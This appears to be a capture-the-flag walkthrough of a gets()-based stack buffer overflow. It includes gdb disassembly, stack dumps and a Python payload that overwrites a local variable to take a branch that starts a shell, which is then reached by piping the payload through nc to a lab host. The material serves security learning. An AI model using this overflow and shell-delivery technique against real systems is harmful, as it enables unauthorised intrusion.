Initial Attempt

The binary asks for an input: hints to potential buffer overflow.

Debug the binary in gdb to confirm this.

(gdb) disas main
Dump of assembler code for function main:
...
0x00000000000008c9 <+59>:    lea    -0x40(%rbp),%rax
0x00000000000008cd <+63>:    mov    %rax,%rdi
0x00000000000008d0 <+66>:    mov    $0x0,%eax
0x00000000000008d5 <+71>:    call   0x6d0 <gets@plt>
0x00000000000008da <+76>:    cmpl   $0x539,-0x4(%rbp)
0x00000000000008e1 <+83>:    jne    0x8f9 <main+107>
...

Observation

Line <main+71> invokes gets call followed by line <main+76> which does a comparison of $rbp - 0x4 and 0x539, put a breakpoint here and run the program, input a large amount of A characters to find the boundary

buffer.py
import sys
sys.stdout.write("A" * 32)
$ python buffer.py > payload

Set a breakpoint, run the program and feed the payload and look at $rbp - 0x4 and stack

(gdb) b *main+76
Breakpoint 1 at 0x8da
(gdb) r < payload
(gdb) x/x $rbp-0x4
0x7fffffffda8c: 0x00000539
(gdb) x/32x $rsp
0x7fffffffda50: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffda60: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffda70: 0x00000000      0x00000000      0xf7fe5f70      0x00007fff
0x7fffffffda80: 0x00000000      0x00000000      0xf7ffdad0      0x00000539
0x7fffffffda90: 0x00000001      0x00000000      0xf7dfd24a      0x00007fff
0x7fffffffdaa0: 0xffffdb90      0x00007fff      0x5540088e      0x00005555
0x7fffffffdab0: 0x55400040      0x00000001      0xffffdba8      0x00007fff
0x7fffffffdac0: 0xffffdba8      0x00007fff      0x7210abdb      0x123ae0f0
(gdb)

Notice $rbp - 0x4 appears in the stack as follows and so does 32 bytes of 0x41 which is A:

0x7fffffffda50: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffda60: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffda70: 0x00000000      0x00000000      0xf7fe5f70      0x00007fff
                                                              + ---------- +
0x7fffffffda80: 0x00000000      0x00000000      0xf7ffdad0    | 0x00000539 |
                                                              + ---------- +
0x7fffffffda90: 0x00000001      0x00000000      0xf7dfd24a      0x00007fff
0x7fffffffdaa0: 0xffffdb90      0x00007fff      0x5540088e      0x00005555
0x7fffffffdab0: 0x55400040      0x00000001      0xffffdba8      0x00007fff
0x7fffffffdac0: 0xffffdba8      0x00007fff      0x7210abdb      0x123ae0f0

Solution

We see the program halts because it checks the value of $rbp - 0x4 against 0x539. If we can change this, we can force the variable to change. So input 60 bytes of A and then whatever comes next will be overflown to take the value of $rbp - 0x4

buffer.py
import sys
padding = "A" * 60
value = "\x01\x02\x03\x04"
sys.stdout.write(padding + value)

Write this to payload file and run it again in gdb

(gdb) r < payload
Breakpoint 1, 0x00005555554008da in main ()
(gdb) x/32x $rsp
0x7fffffffda50: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffda60: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffda70: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffda80: 0x41414141      0x41414141      0x41414141      0x04030201
0x7fffffffda90: 0x00000000      0x00000000      0xf7dfd24a      0x00007fff

Voila, continue and you will see the program starts a shell

(cat payload; cat) | nc 10.201.92.179 9001

You will get a shell, cat flag.txt and complete the challenge